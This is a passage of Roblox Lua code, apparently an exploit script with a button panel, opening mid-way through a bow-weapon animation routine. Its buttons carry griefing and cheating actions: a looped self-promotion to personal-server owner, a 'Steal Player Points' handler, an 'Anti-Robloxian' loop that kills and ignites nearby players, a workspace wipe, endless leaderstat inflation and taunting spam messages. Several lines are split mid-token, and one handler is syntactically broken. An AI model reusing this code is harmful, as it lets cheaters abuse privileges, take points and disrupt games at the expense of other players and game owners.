SUW.C0 = CN(0, 0.15, 0) * CA(MR(-26*i), 0, 0)
SUW.C1 = CN(0, -0.22*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.4+0.3*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(26*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.4+0.3*i, 0.4)
SDW.C1 = CN(0, 0.25*i, 0) * ORSD
wait()
end
for i = 0.5, 1, 0.5 do
RAW.C0 = CA(MR(90), 0, MR(-75)) * CN(0.7, -0.1+0.1*i, 0)
SUW.C0 = CN(0, 0.15, 0) * CA(MR(-26-4*i), 0, 0)
SUW.C1 = CN(0, -0.22-0.03*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.7+0.1*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(26+4*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.7+0.1*i, 0.4)
SDW.C1 = CN(0, 0.22+0.04*i, 0) * ORSD
wait()
end
Notime(function()
Arrow.Transparency = 1
ArrowOn = false
Play(Sounds.Shoot)
ShootArrow(pos, powe/1.2, mouse.Target)
end)
Notime(function()
for i = 0.5, 1, 0.5 do
SUW.C0 = CN(0, 0.15, 0) * CA(MR(-30+30*i), 0, 0)
SUW.C1 = CN(0, -0.25+0.25*i, 0) * ORSU
SUM.Scale = Vector3.new(0.4, 2.9-0.5*i, 0.4)
SDW.C0 = CN(0, -0.15, 0) * CA(MR(30-30*i), 0, 0)
SDM.Scale = Vector3.new(0.4, 2.9-0.5*i, 0.4)
SDW.C1 = CN(0, 0.25-0.25*i, 0) * ORSD
wait()
end
end)
for i = 0.25, 1, 0.25 do
FWeld.C0 = CA(0, MR(-90+25*i), 0)
LAW.C0 = CA(MR(90+25*i), 0, MR(-60-15*i)) * CN(0.3-0.3*i, 0.4-
0.4*i, -0.1+0.1*i)
RAW.C0 = CA(MR(90+60*i), 0, MR(-75+55*i)) * CN(0.7-0.5*i, -0.1*i,
0)
HW.C0 = CA(MR(180), 0, MR(215-65*i))
wait()
end
Hum.WalkSpeed = 16
for i = 0.33, 1, 0.33 do
FWeld.C0 = CA(0, MR(-65+5*i), 0)
LAW.C0 = CA(MR(115+5*i), 0, MR(-75-5*i))
RAW.C0 = CA(MR(150+10*i), 0, MR(-20+5*i)) * CN(0.2-0.1*i, -0.1-
0.05*i, 0)
HW.C0 = CA(MR(180), 0, MR(150))
wait()
end
for i = 0.16, 1, 0.16 do
FWeld.C0 = CA(0, MR(-60+55*i), 0)
LAW.C0 = CA(MR(120-110*i), 0, MR(-80+45*i))
RAW.C0 = CA(MR(160-150*i), 0, MR(-15+10*i)) * CN(0.1-0.1*i, -
0.15+0.15*i, 0)
wait()
end
for i = 0.5, 1, 0.5 do
FWeld.C0 = CA(0, MR(-5+5*i), 0)
LAW.C0 = CA(MR(10-10*i), 0, MR(-35+5*i))
RAW.C0 = CA(MR(10-10*i), 0, MR(-5+5*i))
wait()
end
Spec.BorderColor3 = C3()
AW.C0 = CN()
FWeld.C0 = CN()
LAW.C0 = CA(0, 0, MR(-30))
HW.C0 = CA(MR(180), 0, MR(150))
FTorso.Transparency = 1
torso.Transparency = 0
Atch(torso)
Shooting = false
RAW.Part1 = nil
RAW.C0 = CN()
omg = false
end
function Sel(mouse)
mouse.Icon = Icon
SelectAnim()
Selected = true
mouse.KeyDown:connect(function(key)
key = key:lower()
if Reloading == false and Slashing == false and Shooting == false
then
if key == "f" then
Reload()
end
end
if Shooting == false then
if key == "e" then
Keys.e = true
local k
Spec.BorderColor3 = C3(1, 1, 0.4)
repeat
wait()
k = mouse.KeyUp:wait()
until k == "e"
Keys.e = false
if Shooting == false then
Spec.BorderColor3 = C3()
end
end
end
end)
mouse.Button1Down:connect(function()
if Reloading == false and Slashing == false and Shooting == false
then
if ArrowOn == false then
local yesh = true
Notime(function()
mouse.Button1Up:wait()
yesh = false
end)
local ah = Keys.e
Reload()
if yesh then
local mm = Special >= 50
if ah and mm or Keys.e and mm then
SpecialAtk(mouse)
else
Shoot(mouse)
end
end
else
local mm = Special >= 50
if Keys.e and mm then
SpecialAtk(mouse)
else
Shoot(mouse)
end
end
end
end)
end
function Desel(mouse)
Selected = false
Main.Visible = false
Hum.WalkSpeed = 16
DeselectAnim()
end
bin.Deselected:connect(Desel)
bin.Selected:connect(Sel)
while Mo.Parent == char do
wait()
Special = Special + 0.07
if Special > MaxSpecial then Special = MaxSpecial end
SpecialBar.Size = UDim2.new(Special/MaxSpecial, 0, 1, 0)
end
end)
local title = Instance.new("TextLabel")
title.Parent = gt
title.BackgroundColor3 = blak
title.BorderColor3 = rede
title.BorderSizePixel = 3
title.Name = "Title"
title.Size = UDim2.new(1,0,0,30)
title.ZIndex = 2
title.Font = "SourceSansBold"
title.FontSize = "Size14"
title.Text = "Gear/Tools"
title.TextColor3 = whit
local title = Instance.new("TextLabel")
title.Parent = ws
title.BackgroundColor3 = blak
title.BorderColor3 = rede
title.BorderSizePixel = 3
title.Name = "Title"
title.Size = UDim2.new(1,0,0,30)
title.ZIndex = 2
title.Font = "SourceSansBold"
title.FontSize = "Size14"
title.Text = "Weapon Scripts"
title.TextColor3 = whit
-- Page 2 End --
-- Misc --
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Become Owner in Personal Server"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Become Owner [PS]"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
while game.Players.LocalPlayer.PersonalServerRank<255 do
game:GetService("PersonalServerService"):Promote(game.Players.LocalPlayer)
end
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Disco Fog"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Disco Fog"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
basics =
{Color3.new(255/255,0/255,0/255),Color3.new(255/255,85/255,0/255),Color3.new(218/25
5,218/255,0/255),Color3.new(0/255,190/255,0/255),Color3.new(0/255,85/255,255/255),C
olor3.new(0/255,0/255,127/255),Color3.new(170/255,0/255,255/255),Color3.new(0/255,2
04/255,204/255),Color3.new(255/255,85/255,127/255),Color3.new(0/255,0/255,0/255),Co
lor3.new(255/255,255/255,255/255)}
game.Lighting.FogStart = 25
game.Lighting.FogEnd = 300
while true do
wait(0.5)
game.Lighting.FogColor = basics[math.random(1,#basics)]
end
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Fencing Restore"
button.Position = UDim2.new(0,0,0,66)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Fencing Restore"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
--Fencing Restore script made by Yelock--
--Now restoring fencing Please wait ----------
--Censore
--mediafire
--hitler
--megaupload
--globe of geeks
--lego
--cheez
--chicken
--requires c>2
function X(ws)
for _, v in pairs(ws:GetChildren()) do
v.Archivable = true
if v.Name ~= "UClear" and v.Name ~= "Terrain" and
game.Players:GetPlayerFromCharacter(v)==nil and v~=game.Workspace.CurrentCamera
then
if v:IsA("Script") or v:IsA("LocalScript") then
v.Disabled = true
v:remove()
else
v:remove()
end
end
if game.Workspace:findFirstChild("Base") ~= nil then
else
local Base=Instance.new("Part",game.Workspace)
Base.Name="Base"
Base.Size=Vector3.new(1000,1,1000)
Base.BrickColor=BrickColor.new("Earth green")
Base.Anchored=true
Base.Locked=true
Base.TopSurface="Universal"
Base.CFrame=CFrame.new(Vector3.new(0,0,0))
local Spawn=Instance.new("SpawnLocation",game.Workspace)
Spawn.Name="lol"
Spawn.Size=Vector3.new(6,1,6)
Spawn.Transparency=1
Spawn.CanCollide=false
Spawn.Anchored=true
Spawn.Locked=true
Spawn.CFrame=CFrame.new(Vector3.new(0,1,0))
end
end
end
X(game.Workspace)
X(game.Teams)
X(game.StarterGui)
wait()
game.Workspace:InsertContent("rbxassetid://118791953")
wait()
game.workspace.Base:Destroy()
wait()
game.workspace.lol:Destroy()
wait()
game.Lighting.Ambient = Color3.new(255,255,255)
game.Lighting.TimeOfDay = 12
game.Lighting.Brightness = 0.5
game.Lighting.FogEnd = 100000
game.Lighting.GlobalShadows = false
game.Lighting.Sky:Destroy()
game.Lighting.FogEnd = 100000
game.Lighting.Brightness = 1
game.Workspace.Terrain:clear()
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Leaderstat Add"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Leaderstat Add"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
while true do
wait(.1)
game.Players.LocalPlayer.leaderstats:FindFirstChild(frame.Settings.Page2["Leadersta
t Name"].TextBox.Text).Value =
game.Players.LocalPlayer.leaderstats:FindFirstChild(frame.Settings.Page2["Leadersta
t Name"].TextBox.Text)
+game.Players.LocalPlayer.leaderstats:FindFirstChild(frame.Settings.Page2["Leaderst
at Amount"].TextBox.Text)
end
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Leaderstat Change"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Leaderstat Change"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.leaderstats:FindFirstChild(frame.Settings.Page2["Leadersta
t
Name"].TextBox.Text)game.Players.LocalPlayer.leaderstats:FindFirstChild(frame.Setti
ngs.Page2["Leaderstat Amount"].TextBox.Text)
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Play Music"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Play Music"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
s = Instance.new("Sound", workspace)
s.SoundId = "rbxassetid://"..frame.Settings.Page1["Music ID"].TextBox.Text
or 200519201
s.Volume = 1
s.Looped = true
s.Pitch = frame.Settings.Page1["Music Pitch"].TextBox.Text
s:Play()
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Restore Skybox"
button.Position = UDim2.new(0,0,0,132)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Restore Skybox"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
for i,v in pairs(game.Lighting:GetChildren()) do
v:Remove()
end
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Steal Player Points"
button.Position = UDim2.new(0.5,3,0,132)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Steal Player Points"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
local service = game:GetService("PointsService")
service:AwardPoints(game.Players.LocalPlayer.userId,
service:GetAwardablePoints())
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Stop Music"
button.Position = UDim2.new(0,0,0,165)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Stop Music"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
for i,v in pairs(game.Workspace:GetChildren()) do
if v.className == "Sound" then
v:Stop()
v:Remove()
end
end
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,165)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,198)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 3
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
--
local button = Instance.new("TextButton")
button.Parent = misc
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,198)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
-- Local Player --
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Anti-Robloxian"
button.Position = UDim2.new(0,0,0,33)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Anti-Robloxian"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
Player = game.Players.LocalPlayer
while true do
local dist = 17
local distance = dist
if Player then
c = game.Players:GetChildren()
for i = 1, #c do
if c[i].Name ~= Player.Name then
if
c[i]:DistanceFromCharacter(game.Workspace[Player.Name].Torso.Position) <= distance
then
c[i].Character:BreakJoints()
local c2 = c[i].Character:GetChildren()
for i2 =1, #c2 do
if c2[i2]:IsA("BasePart") then
Instance.new("Fire", c2[i2])
end end end end end end wait() end
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Billboard Gui"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Billboard Gui"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
if game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui")
then
game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove()
end
plr = game.Players.LocalPlayer.Name
y = Instance.new("BillboardGui")
y.Size = UDim2.new(0,100,0,150)
y.StudsOffset = Vector3.new(0,1,0)
y.Parent = game.Players[plr].Character.Head
y.Adornee = game.Players[plr].Character.Head
f = Instance.new("TextLabel")
f.Parent = y
f.BackgroundTransparency = 1
f.Position = UDim2.new(0,0,0,-50)
f.Size = UDim2.new(0,100,0,100)
f.Font = "Arial"
f.FontSize = "Size48"
f.Text = frame.Settings.Page1["Billboard Gui Text"].TextBox.Text
f.TextStrokeColor3 = Color3.new(0,0,0)
f.TextColor3 = Color3.new(frame.Settings.Page2["Billboard Gui
Color"].TextBox1.Text/255,frame.Settings.Page2["Billboard Gui
Color"].TextBox2.Text/255,frame.Settings.Page2["Billboard Gui
Color"].TextBox3.Text/255)
f.TextStrokeTransparency = 0
f.TextYAlignment = "Bottom"
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Change Name"
button.Position = UDim2.new(0,0,0,66)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Change Name"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
local You = game.Players.LocalPlayer.Name
local head = workspace[You].Head:Clone()
local model = Instance.new("Model",workspace)
local humanoid = Instance.new("Humanoid",model)
head.Parent = model
model.Name = frame.Settings.Page2["Name Box"].TextBox.Text
humanoid.MaxHealth = 0
local w = Instance.new("Weld",model)
w.Part0,w.Part1 = workspace[You].Head,head
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Chicken Arms"
button.Position = UDim2.new(0.5,3,0,66)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Chicken Arms"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
local Chicken = game.Players.LocalPlayer.Name
game.Workspace[Chicken].Torso["Left Shoulder"].C0 = CFrame.new(-1.5, 0.5, 0)
* CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2,
0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5, 0)
game.Workspace[Chicken].Torso["Right Shoulder"].C0 = CFrame.new(1.5, 0.5, 0)
* CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2,
0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
game.Workspace[Chicken].Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5, 0)
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Disco Character"
button.Position = UDim2.new(0,0,0,99)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Disco Character"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
presets = {"Bright red","Bright yellow","Bright orange","Bright
violet","Bright blue","Bright bluish green","Bright green"}
while true do
wait(0.5)
ye = game.Workspace[game.Players.LocalPlayer.Name]:GetChildren()
for i,v in pairs(ye) do
if v.className == "Part" then
v.BrickColor =
BrickColor.new(presets[math.random(1,#presets)])
end
end
end
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Dominus Ghost"
button.Position = UDim2.new(0.5,3,0,99)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Dominus Ghost"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
function nob(who,tra,hat)
c=who.Character
pcall(function()u=c["Body Colors"]
u.HeadColor=BrickColor.new("Black")
u.LeftLegColor=BrickColor.new("Black")
u.RightLegolor=BrickColor.new("Black")
u.LeftArmColor=BrickColor.new("Black")
u.TorsoColor=BrickColor.new("Black")
u.RightArmColor=BrickColor.new("Black")
end)
pcall(function()c.Shirt:Destroy() c.Pants:Destroy() end)
for i,v in pairs(c:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency=tra
if v.Name=="HumanoidRootPart" or v.Name=="Head" then
v.Transparency=1
end
wait()
v.BrickColor=BrickColor.new("Black")
elseif v:IsA("Hat") then
v:Destroy()
end
end
xx=game:service("InsertService"):LoadAsset(hat)
xy=game:service("InsertService"):LoadAsset(47433)["LinkedSword"]
xy.Parent=who.Backpack
for a,hat in pairs(xx:children()) do
hat.Parent=c
end
xx:Destroy()
h=who.Character.Humanoid
h.MaxHealth=50000
wait(1.5)
h.Health=50000
h.WalkSpeed=32
end
nob(game.Players.LocalPlayer,0.6,21070012)
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Floating Pad"
button.Position = UDim2.new(0,0,0,132)
button.Size = UDim2.new(0.499,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Floating Pad"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
local name = game.Players.LocalPlayer.Name
local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.BrickColor = BrickColor.new("White")
p.BrickColor = BrickColor.new(104)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame =
CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x,
game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4,
game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Head Shake"
button.Position = UDim2.new(0.5,3,0,132)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Head Shake"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
for X = 1, math.huge, 0.2 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 =
CFrame.new(math.sin(X) / 1,1.5,0)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 =
CFrame.new(0,0,0)
end
for X = 1, math.huge, 0.1 do
wait()
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 =
CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X)
game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 =
CFrame.new(0,0,0)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
end
for _,c in pairs(game.Players:GetChildren()) do
c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Heal"
button.Position = UDim2.new(0,0,0,165)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Heal"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.Health =
game.Players.LocalPlayer.Character.Humanoid.MaxHealth
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Mesh Disco"
button.Position = UDim2.new(0.5,3,0,165)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Mesh Disco"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
plr = game.Players.LocalPlayer.Name
meshes = {"Brick","Cylinder","Head","Sphere","Torso","Wedge"}
h = game.Workspace[plr].Head.Mesh
t = Instance.new("SpecialMesh",game.Workspace[plr].Torso)
la = Instance.new("SpecialMesh",game.Workspace[plr]["Left Arm"])
ra = Instance.new("SpecialMesh",game.Workspace[plr]["Right Arm"])
ll = Instance.new("SpecialMesh",game.Workspace[plr]["Left Leg"])
rl = Instance.new("SpecialMesh",game.Workspace[plr]["Right Leg"])
while true do
wait(0.1)
h.MeshType = meshes[math.random(1,#meshes)]
h.Parent.BrickColor = BrickColor.Random()
t.MeshType = meshes[math.random(1,#meshes)]
t.Parent.BrickColor = BrickColor.Random()
la.MeshType = meshes[math.random(1,#meshes)]
la.Parent.BrickColor = BrickColor.Random()
ra.MeshType = meshes[math.random(1,#meshes)]
ra.Parent.BrickColor = BrickColor.Random()
ll.MeshType = meshes[math.random(1,#meshes)]
ll.Parent.BrickColor = BrickColor.Random()
rl.MeshType = meshes[math.random(1,#meshes)]
rl.Parent.BrickColor = BrickColor.Random()
end
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Set Walkspeed"
button.Position = UDim2.new(0,0,0,198)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Set Walkspeed"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed =
frame.Settings.Page2["Walkspeed Amount"].TextBox.Text
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "x1msg"
button.Position = UDim2.new(0.5,3,0,198)
button.Size = UDim2.new(0.48,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "1x1x1x1 Message"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:Connect(function()
wait(1)--set this to how much time between messages
msg = Instance.new ("Hint")
msg.Parent = game.Workspace
msg.Text = "1x1x1x1: MUHAWHAWHAW! NOOBS! I HAVE RETURNED FOR MY REVENGE!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = "1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = "1x1x1x1: I WILL DESTROY YOU ALL! YOU ARE WORTHLESS!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = "1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = "1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = "1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = "1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!"
wait(6)
msg:remove()
end)
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0,0,0,231)
button.Size = UDim2.new(0.5,0,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Your message"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
local name = frame.Settings.Page2["Name Box"].TextBox.Text
wait(1)--set this to how much time between messages
msg = Instance.new ("Hint")
msg.Parent = game.Workspace
msg.Text = name..": MUHAWHAWHAW! NOOBS! I HAVE RETURNED FOR MY REVENGE!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = name..": NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = name..": I WILL DESTROY YOU ALL! YOU ARE WORTHLESS!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = name..": YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = name..": I MIGHT AS WELL CLONE YOU INTO BOTS!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = name..": AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!"
wait(6)
msg:remove()
wait(3)
msg = Instance.new("Message")
msg.Parent = game.Workspace
msg.Text = name..": YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!"
wait(6)
msg:remove()
end)
--
local button = Instance.new("TextButton")
button.Parent = localp
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Empty"
button.Position = UDim2.new(0.5,3,0,231)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = ""
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
end)
local title = Instance.new("TextLabel")
title.Parent = misc
title.BackgroundColor3 = blak
title.BorderColor3 = rede
title.BorderSizePixel = 3
title.Name = "Title"
title.Size = UDim2.new(1,0,0,30)
title.ZIndex = 2
title.Font = "SourceSansBold"
title.FontSize = "Size14"
title.Text = "Misc."
title.TextColor3 = whit
local title = Instance.new("TextLabel")
title.Parent = localp
title.BackgroundColor3 = blak
title.BorderColor3 = rede
title.BorderSizePixel = 3
title.Name = "Title"
title.Size = UDim2.new(1,0,0,30)
title.ZIndex = 2
title.Font = "SourceSansBold"
title.FontSize = "Size14"
